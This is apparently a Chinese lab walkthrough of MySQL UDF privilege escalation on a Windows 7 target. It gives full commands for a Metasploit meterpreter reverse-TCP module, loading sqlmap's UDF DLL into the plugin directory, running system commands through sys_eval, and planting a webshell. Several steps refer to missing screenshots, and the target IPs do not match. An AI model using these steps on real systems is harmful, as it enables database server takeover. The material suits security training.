靶场机:windows7:192.168.200.34
攻击机:kali:192.168.200.14
UDF(User-Defined Function)提权指的是通过在MySQL数据库中编写自定义函数(UDF)的方式,实现在MySQL数据库中提升权限的方法
mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下,该目录默认是不存在的,需要使用webshell找到mysql的安装目录,并在安装目录下手动创建MySQL\Lib\Plugin\文件夹,然后将udf.dll导入到该目录。
mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。拥有可以将udf.dll写入相应目录的权限。
可以将udf.dll写入到相应目录的权限。
知道root账号密码UDF提权
select version(); # 获取数据库版本
select user(); # 获取数据库用户
select @@basedir; # 获取数据库安装目录
show variables like ‘%plugin%’; # 查看plugin路径。
利用navicat实现远程操控
靶场设置:
在phpmyadmin中开启mysql远程连接
use mysql;
grant all privileges on *.* to root@'%' identified by '数据库密码';
flush privileges;
先后执行:
首先需要先使用数据库
kali中使⽤MSF指令,构造payload进行替换
一、设置参数,执行导入dll
use exploit/multi/mysql/mysql_udf_payload
set payload windows/meterpreter/reverse_tcp
set password 123456
set rhosts 192.168.200.38 #靶机IP
run
1、
2、
3、一般的出现这样的进程信息代表.dll文件正在生成中
4、options设置必要参数
注意:出现如下报错信信息的解决手段:
解决方式
在my.ini中mysqld下的首航添加属性 secure_file_priv = ’ ’
用法详情:
secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
回到windows7中检验已经生成好的.dll文件,如下图:
使用navicat充当远程连接数据库的工具,充当提权的工具:
使用数据库管理工具windows 7 连接mysql
执行命令如下命令查看dll是否导入成功,并且新建函数sys_exec
sys_exec函数无回显,使用MSF生成的dll 生成自建函数sys_eval(我这里已经创建好了)
最后调用sys_eval函数执行dll,从中执行查询命令
利用:sqlmap中有udf文件,一般在\sqlmap\data\udf\mysql\windows\64目录下存放着lib_mysqludf_sys.dll
64位选64位,32位选32位
1.将sqlmap中的dll_文件解码为dll;cloak.py目录为:sqlmap/extra/cloak,将上图的文件放到此目录下,进行解码,生成一个名为udf.dll的文件
python cloak.py -d -i lib_mysqludf_sys.dll_ -o udf.dll
2.将我们的udf.dll二进制文件读取UDF转换为十六机制进行处理;
由于当前的靶场环境是在虚拟机中,所以应该在虚拟中寻找下图文件
此命令在navicat执行即可
SELECT HEX(LOAD_FILE('c:/udf.dll')) INTO DUMPFILE 'c:/udf11.txt';
3.打开navcat,新建一个表,表名为udftmp,用来存放本地传来的udf文件的内容
create table udftmp (udf LONGBLOB);
4.在udftmp中写入udf文件的十六进制内容(第二步骤)
INSERT INTO udftmp VALUE(UNHEX("16进制udf.dll文件内容"));
-- 出现secure-file-priv相关报错,需要修改mysql配置文件my.ini或mysql.cnf
-- secure_file_priv=/ # 允许导入到任意路径
5.将udf文件内容传入新建的udf.dll文件中,路径根据自己的select @@plugin_dir;修改。
(//C:\phpstudyx\Extensions\MySQL5.7.26\lib\plugin\下)
6.执行下面语句,创建函数cmdshell
可以看大当前是只有两个字函数的,并且每一个函数都对应着类型的文件
此处,我们可以直接使用方法一的MSF-UDF方法的sys_eval函数进行提权,利用UDF创建用户自定义函数
create function cmdshell returns string soname 'udf.dll';
select sys_eval('whoami');
将下载好的大马放入到根下,然后浏览器中解析文件
(www/data/config.php内 数据库存储着用户名和密码)
报错,根据靶场经验来看,和php版本有关,如果不知道的话可以尝试其他方法多多踩坑,最后还是得想到降低php版本
php版本5.3.29即可
查看一下,大马能够实现功能
1、还能利用webshell工具进行反弹shell等诸多功能
2、查看mysql版本位数(有利收集信息的SQL语句都可以往进输入)
show variables like '%version_%';